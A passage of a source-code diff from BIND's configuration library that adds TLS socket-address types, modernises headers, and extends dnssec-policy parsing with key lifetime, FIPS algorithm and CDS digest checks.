+		} sockaddrtls;
+		cfg_netprefix_t	  netprefix;
+		isccfg_duration_t duration;
 	} value;
 	isc_refcount_t references; /*%< reference counter */
-	const char *   file;
+	const char    *file;
 	unsigned int   line;
-	cfg_parser_t * pctx;
+	cfg_parser_t  *pctx;
 };
 
 /*% A list element. */
@@ -217,9 +198,9 @@ struct cfg_listelt {
 
 /*% The parser object. */
 struct cfg_parser {
-	isc_mem_t *  mctx;
-	isc_log_t *  lctx;
-	isc_lex_t *  lexer;
+	isc_mem_t   *mctx;
+	isc_log_t   *lctx;
+	isc_lex_t   *lexer;
 	unsigned int errors;
 	unsigned int warnings;
 	isc_token_t  token;
@@ -273,7 +254,7 @@ struct cfg_parser {
 	isc_refcount_t references;
 
 	cfg_parsecallback_t callback;
-	void *		    callbackarg;
+	void		   *callbackarg;
 };
 
 /* Parser context flags */
@@ -288,7 +269,8 @@ struct cfg_parser {
 #define CFG_ADDR_V4PREFIXOK 0x00000002
 #define CFG_ADDR_V6OK	    0x00000004
 #define CFG_ADDR_WILDOK	    0x00000008
-#define CFG_ADDR_DSCPOK	    0x00000010
+#define CFG_ADDR_PORTOK	    0x00000010
+#define CFG_ADDR_TLSOK	    0x00000020
 #define CFG_ADDR_MASK	    (CFG_ADDR_V6OK | CFG_ADDR_V4OK)
 /*@}*/
 
@@ -296,51 +278,52 @@ struct cfg_parser {
 /*%
  * Predefined data representation types.
  */
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_uint32;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_uint64;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_string;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_boolean;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_map;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_list;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_tuple;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_sockaddr;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_netprefix;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_void;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_fixedpoint;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_percentage;
-LIBISCCFG_EXTERNAL_DATA extern cfg_rep_t cfg_rep_duration;
+extern cfg_rep_t cfg_rep_uint32;
+extern cfg_rep_t cfg_rep_uint64;
+extern cfg_rep_t cfg_rep_string;
+extern cfg_rep_t cfg_rep_boolean;
+extern cfg_rep_t cfg_rep_map;
+extern cfg_rep_t cfg_rep_list;
+extern cfg_rep_t cfg_rep_tuple;
+extern cfg_rep_t cfg_rep_sockaddr;
+extern cfg_rep_t cfg_rep_sockaddrtls;
+extern cfg_rep_t cfg_rep_netprefix;
+extern cfg_rep_t cfg_rep_void;
+extern cfg_rep_t cfg_rep_fixedpoint;
+extern cfg_rep_t cfg_rep_percentage;
+extern cfg_rep_t cfg_rep_duration;
 /*@}*/
 
 /*@{*/
 /*%
  * Predefined configuration object types.
  */
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_boolean;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_uint32;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_uint64;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_qstring;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_astring;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_ustring;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_sstring;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_bracketed_aml;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_bracketed_text;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_optional_bracketed_text;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_keyref;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_sockaddr;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_sockaddrdscp;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_netaddr;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_netaddr4;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_netaddr4wild;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_netaddr6;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_netaddr6wild;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_netprefix;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_void;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_token;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_unsupported;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_fixedpoint;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_percentage;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_duration;
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_duration_or_unlimited;
+extern cfg_type_t cfg_type_boolean;
+extern cfg_type_t cfg_type_uint32;
+extern cfg_type_t cfg_type_uint64;
+extern cfg_type_t cfg_type_qstring;
+extern cfg_type_t cfg_type_astring;
+extern cfg_type_t cfg_type_ustring;
+extern cfg_type_t cfg_type_sstring;
+extern cfg_type_t cfg_type_bracketed_aml;
+extern cfg_type_t cfg_type_bracketed_text;
+extern cfg_type_t cfg_type_optional_bracketed_text;
+extern cfg_type_t cfg_type_keyref;
+extern cfg_type_t cfg_type_sockaddr;
+extern cfg_type_t cfg_type_sockaddrtls;
+extern cfg_type_t cfg_type_netaddr;
+extern cfg_type_t cfg_type_netaddr4;
+extern cfg_type_t cfg_type_netaddr4wild;
+extern cfg_type_t cfg_type_netaddr6;
+extern cfg_type_t cfg_type_netaddr6wild;
+extern cfg_type_t cfg_type_netprefix;
+extern cfg_type_t cfg_type_void;
+extern cfg_type_t cfg_type_token;
+extern cfg_type_t cfg_type_unsupported;
+extern cfg_type_t cfg_type_fixedpoint;
+extern cfg_type_t cfg_type_percentage;
+extern cfg_type_t cfg_type_duration;
+extern cfg_type_t cfg_type_duration_or_unlimited;
 /*@}*/
 
 isc_result_t
@@ -394,10 +377,11 @@ isc_result_t
 cfg_parse_rawport(cfg_parser_t *pctx, unsigned int flags, in_port_t *port);
 
 isc_result_t
-cfg_parse_dscp(cfg_parser_t *pctx, isc_dscp_t *dscp);
+cfg_parse_sockaddr(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret);
 
 isc_result_t
-cfg_parse_sockaddr(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret);
+cfg_parse_sockaddrtls(cfg_parser_t *pctx, const cfg_type_t *type,
+		      cfg_obj_t **ret);
 
 isc_result_t
 cfg_parse_boolean(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret);
@@ -609,5 +593,3 @@ cfg_print_indent(cfg_printer_t *pctx);
 /*%<
  * Print the necessary indent required by the current settings of 'pctx'.
  */
-
-#endif /* ISCCFG_GRAMMAR_H */
diff --git a/lib/isccfg/include/isccfg/kaspconf.h b/lib/isccfg/include/isccfg/kaspconf.h
index 43f6e690a7..744a327695 100644
--- a/lib/isccfg/include/isccfg/kaspconf.h
+++ b/lib/isccfg/include/isccfg/kaspconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,13 +11,10 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISCCFG_KASPCONF_H
-#define ISCCFG_KASPCONF_H 1
+#pragma once
 
 #include <isc/lang.h>
 
-#include <dns/types.h>
-
 #include <isccfg/cfg.h>
 
 /***
@@ -25,14 +24,18 @@
 ISC_LANG_BEGINDECLS
 
 isc_result_t
-cfg_kasp_fromconfig(const cfg_obj_t *config, const char *name, isc_mem_t *mctx,
-		    isc_log_t *logctx, dns_kasplist_t *kasplist,
-		    dns_kasp_t **kaspp);
+cfg_kasp_fromconfig(const cfg_obj_t *config, dns_kasp_t *default_kasp,
+		    bool check_algorithms, isc_mem_t *mctx, isc_log_t *logctx,
+		    dns_kasplist_t *kasplist, dns_kasp_t **kaspp);
 /*%<
- * Create and configure a KASP. If 'config' is NULL, a built-in configuration
- * is used, referred to by 'name'. If a 'kasplist' is provided, a lookup
- * happens and if a KASP already exists with the same name, no new KASP is
- * created, and no attach to 'kaspp' happens.
+ * Create and configure a KASP. If 'default_kasp' is not NULL, the built-in
+ * default configuration is used to set values that are not explicitly set in
+ * the policy. If a 'kasplist' is provided, a lookup happens and if a KASP
+ * already exists with the same name, no new KASP is created, and no attach to
+ * 'kaspp' happens.
+ *
+ * If 'check_algorithms' is true then the dnssec-policy DNSSEC key
+ * algorithms are checked against those supported by the crypto provider.
  *
  * Requires:
  *
@@ -54,5 +57,3 @@ cfg_kasp_fromconfig(const cfg_obj_t *config, const char *name, isc_mem_t *mctx,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCFG_KASPCONF_H */
diff --git a/lib/isccfg/include/isccfg/log.h b/lib/isccfg/include/isccfg/log.h
index 13a4ef4c91..8af3095021 100644
--- a/lib/isccfg/include/isccfg/log.h
+++ b/lib/isccfg/include/isccfg/log.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,16 +11,15 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISCCFG_LOG_H
-#define ISCCFG_LOG_H 1
+#pragma once
 
 /*! \file isccfg/log.h */
 
 #include <isc/lang.h>
 #include <isc/log.h>
 
-LIBISCCFG_EXTERNAL_DATA extern isc_logcategory_t cfg_categories[];
-LIBISCCFG_EXTERNAL_DATA extern isc_logmodule_t	 cfg_modules[];
+extern isc_logcategory_t cfg_categories[];
+extern isc_logmodule_t	 cfg_modules[];
 
 #define CFG_LOGCATEGORY_CONFIG (&cfg_categories[0])
 
@@ -43,5 +44,3 @@ cfg_log_init(isc_log_t *lctx);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCFG_LOG_H */
diff --git a/lib/isccfg/include/isccfg/namedconf.h b/lib/isccfg/include/isccfg/namedconf.h
index 94b31be220..f2d0145858 100644
--- a/lib/isccfg/include/isccfg/namedconf.h
+++ b/lib/isccfg/include/isccfg/namedconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISCCFG_NAMEDCONF_H
-#define ISCCFG_NAMEDCONF_H 1
+#pragma once
 
 /*! \file isccfg/namedconf.h
  * \brief
@@ -22,34 +23,32 @@
 /*
  * Configuration object types.
  */
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_namedconf;
+extern cfg_type_t cfg_type_namedconf;
 /*%< A complete named.conf file. */
 
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_bindkeys;
+extern cfg_type_t cfg_type_bindkeys;
 /*%< A bind.keys file. */
 
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_newzones;
+extern cfg_type_t cfg_type_newzones;
 /*%< A new-zones file (for zones added by 'rndc addzone'). */
 
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_addzoneconf;
+extern cfg_type_t cfg_type_addzoneconf;
 /*%< A single zone passed via the addzone rndc command. */
 
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_rndcconf;
+extern cfg_type_t cfg_type_rndcconf;
 /*%< A complete rndc.conf file. */
 
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_rndckey;
+extern cfg_type_t cfg_type_rndckey;
 /*%< A complete rndc.key file. */
 
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_sessionkey;
+extern cfg_type_t cfg_type_sessionkey;
 /*%< A complete session.key file. */
 
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_keyref;
+extern cfg_type_t cfg_type_keyref;
 /*%< A key reference, used as an ACL element */
 
 /*%< Zone options */
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_zoneopts;
+extern cfg_type_t cfg_type_zoneopts;
 
 /*%< DNSSEC Key and Signing Policy options */
-LIBISCCFG_EXTERNAL_DATA extern cfg_type_t cfg_type_dnssecpolicyopts;
-
-#endif /* ISCCFG_NAMEDCONF_H */
+extern cfg_type_t cfg_type_dnssecpolicyopts;
diff --git a/lib/isccfg/kaspconf.c b/lib/isccfg/kaspconf.c
index 8a119fb612..19365fdc06 100644
--- a/lib/isccfg/kaspconf.c
+++ b/lib/isccfg/kaspconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,25 +15,28 @@
 #include <stdbool.h>
 #include <stdlib.h>
 
+#include <isc/fips.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/region.h>
+#include <isc/result.h>
 #include <isc/string.h>
+#include <isc/types.h>
 #include <isc/util.h>
 
 #include <dns/kasp.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
 #include <dns/nsec3.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
+#include <dns/ttl.h>
 
 #include <isccfg/cfg.h>
+#include <isccfg/duration.h>
 #include <isccfg/kaspconf.h>
 #include <isccfg/namedconf.h>
 
-#define DEFAULT_NSEC3PARAM_ITER	   5
-#define DEFAULT_NSEC3PARAM_SALTLEN 8
+#define DEFAULT_NSEC3PARAM_ITER	   0
+#define DEFAULT_NSEC3PARAM_SALTLEN 0
 
 /*
  * Utility function for getting a configuration option.
@@ -48,18 +53,37 @@ confget(cfg_obj_t const *const *maps, const char *name, const cfg_obj_t **obj) {
 	}
 }
 
+/*
+ * Utility function for parsing durations from string.
+ */
+static uint32_t
+parse_duration(const char *str) {
+	uint32_t time = 0;
+	isccfg_duration_t duration;
+	isc_result_t result;
+	isc_textregion_t tr;
+
+	tr.base = UNCONST(str);
+	tr.length = strlen(tr.base);
+	result = isccfg_parse_duration(&tr, &duration);
+	if (result == ISC_R_SUCCESS) {
+		time = isccfg_duration_toseconds(&duration);
+	}
+	return (time);
+}
+
 /*
  * Utility function for configuring durations.
  */
 static uint32_t
-get_duration(const cfg_obj_t **maps, const char *option, uint32_t dfl) {
+get_duration(const cfg_obj_t **maps, const char *option, const char *dfl) {
 	const cfg_obj_t *obj;
 	isc_result_t result;
 	obj = NULL;
 
 	result = confget(maps, option, &obj);
 	if (result == ISC_R_NOTFOUND) {
-		return (dfl);
+		return (parse_duration(dfl));
 	}
 	INSIST(result == ISC_R_SUCCESS);
 	return (cfg_obj_asduration(obj));
@@ -70,7 +94,8 @@ get_duration(const cfg_obj_t **maps, const char *option, uint32_t dfl) {
  */
 static isc_result_t
 cfg_kaspkey_fromconfig(const cfg_obj_t *config, dns_kasp_t *kasp,
-		       isc_log_t *logctx) {
+		       bool check_algorithms, isc_log_t *logctx,
+		       uint32_t ksk_min_lifetime, uint32_t zsk_min_lifetime) {
 	isc_result_t result;
 	dns_kasp_key_t *key = NULL;
 
@@ -90,6 +115,7 @@ cfg_kaspkey_fromconfig(const cfg_obj_t *config, dns_kasp_t *kasp,
 		const char *rolestr = NULL;
 		const cfg_obj_t *obj = NULL;
 		isc_consttextregion_t alg;
+		bool error = false;
 
 		rolestr = cfg_obj_asstring(cfg_tuple_get(config, "role"));
 		if (strcmp(rolestr, "ksk") == 0) {
@@ -106,6 +132,31 @@ cfg_kaspkey_fromconfig(const cfg_obj_t *config, dns_kasp_t *kasp,
 		if (cfg_obj_isduration(obj)) {
 			key->lifetime = cfg_obj_asduration(obj);
 		}
+		if (key->lifetime > 0) {
+			if (key->lifetime < 30 * (24 * 3600)) {
+				cfg_obj_log(obj, logctx, ISC_LOG_WARNING,
+					    "dnssec-policy: key lifetime is "
+					    "shorter than 30 days");
+			}
+			if ((key->role & DNS_KASP_KEY_ROLE_KSK) != 0 &&
+			    key->lifetime <= ksk_min_lifetime)
+			{
+				error = true;
+			}
+			if ((key->role & DNS_KASP_KEY_ROLE_ZSK) != 0 &&
+			    key->lifetime <= zsk_min_lifetime)
+			{
+				error = true;
+			}
+			if (error) {
+				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+					    "dnssec-policy: key lifetime is "
+					    "shorter than the time it takes to "
+					    "do a rollover");
+				result = ISC_R_FAILURE;
+				goto cleanup;
+			}
+		}
 
 		obj = cfg_tuple_get(config, "algorithm");
 		alg.base = cfg_obj_asstring(obj);
@@ -120,6 +171,28 @@ cfg_kaspkey_fromconfig(const cfg_obj_t *config, dns_kasp_t *kasp,
 			goto cleanup;
 		}
 
+		if (check_algorithms && isc_fips_mode() &&
+		    (key->algorithm == DNS_KEYALG_RSASHA1 ||
+		     key->algorithm == DNS_KEYALG_NSEC3RSASHA1))
+		{
+			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+				    "dnssec-policy: algorithm %s not supported "
+				    "in FIPS mode",
+				    alg.base);
+			result = DNS_R_BADALG;
+			goto cleanup;
+		}
+
+		if (check_algorithms &&
+		    !dst_algorithm_supported(key->algorithm))
+		{
+			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+				    "dnssec-policy: algorithm %s not supported",
+				    alg.base);
+			result = DNS_R_BADALG;
+			goto cleanup;
+		}
+
 		obj = cfg_tuple_get(config, "length");
 		if (cfg_obj_isuint32(obj)) {
 			uint32_t min, size;
@@ -130,7 +203,11 @@ cfg_kaspkey_fromconfig(const cfg_obj_t *config, dns_kasp_t *kasp,
 			case DNS_KEYALG_NSEC3RSASHA1:
 			case DNS_KEYALG_RSASHA256:
 			case DNS_KEYALG_RSASHA512:
-				min = DNS_KEYALG_RSASHA512 ? 1024 : 512;
+				if (isc_fips_mode()) {
+					min = 2048;
+				} else {
+					min = DNS_KEYALG_RSASHA512 ? 1024 : 512;
+				}
 				if (size < min || size > 4096) {
 					cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
 						    "dnssec-policy: key with "
@@ -196,8 +273,8 @@ cfg_nsec3param_fromconfig(const cfg_obj_t *config, dns_kasp_t *kasp,
 		}
 
 		/* NSEC3 cannot be used with certain key algorithms. */
-		if (keyalg == DNS_KEYALG_RSAMD5 || keyalg == DNS_KEYALG_DH ||
-		    keyalg == DNS_KEYALG_DSA || keyalg == DNS_KEYALG_RSASHA1)
+		if (keyalg == DNS_KEYALG_RSAMD5 || keyalg == DNS_KEYALG_DSA ||
+		    keyalg == DNS_KEYALG_RSASHA1)
 		{
 			badalg = keyalg;
 		}
@@ -248,30 +325,72 @@ cfg_nsec3param_fromconfig(const cfg_obj_t *config, dns_kasp_t *kasp,
 	return (ISC_R_SUCCESS);
 }
 
+static isc_result_t
+add_digest(dns_kasp_t *kasp, const cfg_obj_t *digest, isc_log_t *logctx) {
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_textregion_t r;
+	dns_dsdigest_t alg;
+	const char *str = cfg_obj_asstring(digest);
+
+	r.base = UNCONST(str);
+	r.length = strlen(str);
+	result = dns_dsdigest_fromtext(&alg, &r);
+	if (result != ISC_R_SUCCESS) {
+		cfg_obj_log(digest, logctx, ISC_LOG_ERROR,
+			    "dnssec-policy: bad cds digest-type %s", str);
+		result = DNS_R_BADALG;
+	} else if (!dst_ds_digest_supported(alg)) {
+		cfg_obj_log(digest, logctx, ISC_LOG_ERROR,
+			    "dnssec-policy: unsupported cds "
+			    "digest-type %s",
+			    str);
+		result = DST_R_UNSUPPORTEDALG;
+	} else {
+		dns_kasp_adddigest(kasp, alg);
+	}
+	return (result);
+}
+
 isc_result_t
-cfg_kasp_fromconfig(const cfg_obj_t *config, const char *name, isc_mem_t *mctx,
-		    isc_log_t *logctx, dns_kasplist_t *kasplist,
-		    dns_kasp_t **kaspp) {
+cfg_kasp_fromconfig(const cfg_obj_t *config, dns_kasp_t *default_kasp,
+		    bool check_algorithms, isc_mem_t *mctx, isc_log_t *logctx,
+		    dns_kasplist_t *kasplist, dns_kasp_t **kaspp) {
 	isc_result_t result;
 	const cfg_obj_t *maps[2];
 	const cfg_obj_t *koptions = NULL;
 	const cfg_obj_t *keys = NULL;
 	const cfg_obj_t *nsec3 = NULL;
+	const cfg_obj_t *inlinesigning = NULL;
+	const cfg_obj_t *cds = NULL;
+	const cfg_obj_t *obj = NULL;
 	const cfg_listelt_t *element = NULL;
 	const char *kaspname = NULL;
 	dns_kasp_t *kasp = NULL;
-	int i = 0;
-
+	size_t i = 0;
+	uint32_t sigrefresh = 0, sigvalidity = 0;
+	uint32_t dnskeyttl = 0, dsttl = 0, maxttl = 0;
+	uint32_t publishsafety = 0, retiresafety = 0;
+	uint32_t zonepropdelay = 0, parentpropdelay = 0;
+	uint32_t ipub = 0, iret = 0;
+	uint32_t ksk_min_lifetime = 0, zsk_min_lifetime = 0;
+
+	REQUIRE(config != NULL);
 	REQUIRE(kaspp != NULL && *kaspp == NULL);
 
-	kaspname = (name == NULL)
-			   ? cfg_obj_asstring(cfg_tuple_get(config, "name"))
-			   : name;
+	kaspname = cfg_obj_asstring(cfg_tuple_get(config, "name"));
 	INSIST(kaspname != NULL);
 
+	cfg_obj_log(config, logctx, ISC_LOG_DEBUG(1),
+		    "dnssec-policy: load policy '%s'", kaspname);
+
 	result = dns_kasplist_find(kasplist, kaspname, &kasp);
 
 	if (result == ISC_R_SUCCESS) {
+		cfg_obj_log(
+			config, logctx, ISC_LOG_ERROR,
+			"dnssec-policy: duplicately named policy found '%s'",
+			kaspname);
+		dns_kasp_detach(&kasp);
 		return (ISC_R_EXISTS);
 	}
 	if (result != ISC_R_NOTFOUND) {
@@ -296,53 +415,227 @@ cfg_kasp_fromconfig(const cfg_obj_t *config, const char *name, isc_mem_t *mctx,
 	maps[i] = NULL;
 
 	/* Configuration: Signatures */
-	dns_kasp_setsigrefresh(kasp, get_duration(maps, "signatures-refresh",
-						  DNS_KASP_SIG_REFRESH));
-	dns_kasp_setsigvalidity(kasp, get_duration(maps, "signatures-validity",
-						   DNS_KASP_SIG_VALIDITY));
-	dns_kasp_setsigvalidity_dnskey(
-		kasp, get_duration(maps, "signatures-validity-dnskey",
-				   DNS_KASP_SIG_VALIDITY_DNSKEY));
+	sigrefresh = get_duration(maps, "signatures-refresh",
+				  DNS_KASP_SIG_REFRESH);
+	dns_kasp_setsigrefresh(kasp, sigrefresh);
+
+	sigvalidity = get_duration(maps, "signatures-validity-dnskey",
+				   DNS_KASP_SIG_VALIDITY_DNSKEY);
+	if (sigrefresh >= (sigvalidity * 0.9)) {
+		cfg_obj_log(
+			config, logctx, ISC_LOG_ERROR,
+			"dnssec-policy: policy '%s' signatures-refresh must be "
+			"at most 90%% of the signatures-validity-dnskey",
+			kaspname);
+		result = ISC_R_FAILURE;
+	}
+	dns_kasp_setsigvalidity_dnskey(kasp, sigvalidity);
+
+	sigvalidity = get_duration(maps, "signatures-validity",
+				   DNS_KASP_SIG_VALIDITY);
+	if (sigrefresh >= (sigvalidity * 0.9)) {
+		cfg_obj_log(
+			config, logctx, ISC_LOG_ERROR,
+			"dnssec-policy: policy '%s' signatures-refresh must be "
+			"at most 90%% of the signatures-validity",
+			kaspname);
+		result = ISC_R_FAILURE;
+	}
+	dns_kasp_setsigvalidity(kasp, sigvalidity);
+
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+
+	/* Configuration: Zone settings */
+	(void)confget(maps, "inline-signing", &inlinesigning);
+	if (inlinesigning != NULL && cfg_obj_isboolean(inlinesigning)) {
+		dns_kasp_setinlinesigning(kasp,
+					  cfg_obj_asboolean(inlinesigning));
+	} else {
+		dns_kasp_setinlinesigning(kasp, true);
+	}
+
+	maxttl = get_duration(maps, "max-zone-ttl", DNS_KASP_ZONE_MAXTTL);
+	dns_kasp_setzonemaxttl(kasp, maxttl);
+
+	zonepropdelay = get_duration(maps, "zone-propagation-delay",
+				     DNS_KASP_ZONE_PROPDELAY);
+	dns_kasp_setzonepropagationdelay(kasp, zonepropdelay);
+
+	/* Configuration: Parent settings */
+	dsttl = get_duration(maps, "parent-ds-ttl", DNS_KASP_DS_TTL);
+	dns_kasp_setdsttl(kasp, dsttl);
+
+	parentpropdelay = get_duration(maps, "parent-propagation-delay",
+				       DNS_KASP_PARENT_PROPDELAY);
+	dns_kasp_setparentpropagationdelay(kasp, parentpropdelay);
 
 	/* Configuration: Keys */
-	dns_kasp_setdnskeyttl(
-		kasp, get_duration(maps, "dnskey-ttl", DNS_KASP_KEY_TTL));
-	dns_kasp_setpublishsafety(kasp, get_duration(maps, "publish-safety",
-						     DNS_KASP_PUBLISH_SAFETY));
-	dns_kasp_setretiresafety(kasp, get_duration(maps, "retire-safety",
-						    DNS_KASP_RETIRE_SAFETY));
+	obj = NULL;
+	(void)confget(maps, "cdnskey", &obj);
+	if (obj != NULL) {
+		dns_kasp_setcdnskey(kasp, cfg_obj_asboolean(obj));
+	} else {
+		dns_kasp_setcdnskey(kasp, true);
+	}
+
+	(void)confget(maps, "cds-digest-types", &cds);
+	if (cds != NULL) {
+		for (element = cfg_list_first(cds); element != NULL;
+		     element = cfg_list_next(element))
+		{
+			result = add_digest(kasp, cfg_listelt_value(element),
+					    logctx);
+			if (result != ISC_R_SUCCESS) {
+				goto cleanup;
+			}
+		}
+	} else {
+		dns_kasp_adddigest(kasp, DNS_DSDIGEST_SHA256);
+	}
+
+	dnskeyttl = get_duration(maps, "dnskey-ttl", DNS_KASP_KEY_TTL);
+	dns_kasp_setdnskeyttl(kasp, dnskeyttl);
+
+	publishsafety = get_duration(maps, "publish-safety",
+				     DNS_KASP_PUBLISH_SAFETY);
+	dns_kasp_setpublishsafety(kasp, publishsafety);
+
+	retiresafety = get_duration(maps, "retire-safety",
+				    DNS_KASP_RETIRE_SAFETY);
+	dns_kasp_setretiresafety(kasp, retiresafety);
+
 	dns_kasp_setpurgekeys(
 		kasp, get_duration(maps, "purge-keys", DNS_KASP_PURGE_KEYS));
 
+	ipub = dnskeyttl + publishsafety + zonepropdelay;
+	iret = dsttl + retiresafety + parentpropdelay;
+	ksk_min_lifetime = ISC_MAX(ipub, iret);
+
+	iret = (sigvalidity - sigrefresh) + maxttl + retiresafety +
+	       zonepropdelay;
+	zsk_min_lifetime = ISC_MAX(ipub, iret);
+
 	(void)confget(maps, "keys", &keys);
 	if (keys != NULL) {
+		char role[256] = { 0 };
+		bool warn[256][2] = { { false } };
+		dns_kasp_key_t *kkey = NULL;
+
 		for (element = cfg_list_first(keys); element != NULL;
 		     element = cfg_list_next(element))
 		{
 			cfg_obj_t *kobj = cfg_listelt_value(element);
-			result = cfg_kaspkey_fromconfig(kobj, kasp, logctx);
+			result = cfg_kaspkey_fromconfig(
+				kobj, kasp, check_algorithms, logctx,
+				ksk_min_lifetime, zsk_min_lifetime);
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup;
 			}
 		}
-		INSIST(!(dns_kasp_keylist_empty(kasp)));
-	} else if (strcmp(kaspname, "insecure") == 0) {
-		/* "dnssec-policy insecure": key list must be empty */
-		INSIST(strcmp(kaspname, "insecure") == 0);
-		INSIST(dns_kasp_keylist_empty(kasp));
-	} else {
-		/* No keys clause configured, use the "default". */
-		result = cfg_kaspkey_fromconfig(NULL, kasp, logctx);
+		dns_kasp_freeze(kasp);
+		for (kkey = ISC_LIST_HEAD(dns_kasp_keys(kasp)); kkey != NULL;
+		     kkey = ISC_LIST_NEXT(kkey, link))
+		{
+			uint32_t keyalg = dns_kasp_key_algorithm(kkey);
+			INSIST(keyalg < ARRAY_SIZE(role));
+
+			if (dns_kasp_key_zsk(kkey)) {
+				if ((role[keyalg] & DNS_KASP_KEY_ROLE_ZSK) != 0)
+				{
+					warn[keyalg][0] = true;
+				}
+				role[keyalg] |= DNS_KASP_KEY_ROLE_ZSK;
+			}
+
+			if (dns_kasp_key_ksk(kkey)) {
+				if ((role[keyalg] & DNS_KASP_KEY_ROLE_KSK) != 0)
+				{
+					warn[keyalg][1] = true;
+				}
+				role[keyalg] |= DNS_KASP_KEY_ROLE_KSK;
+			}
+		}
+		dns_kasp_thaw(kasp);
+		for (i = 0; i < ARRAY_SIZE(role); i++) {
+			if (role[i] == 0) {
+				continue;
+			}
+			if (role[i] !=
+			    (DNS_KASP_KEY_ROLE_ZSK | DNS_KASP_KEY_ROLE_KSK))
+			{
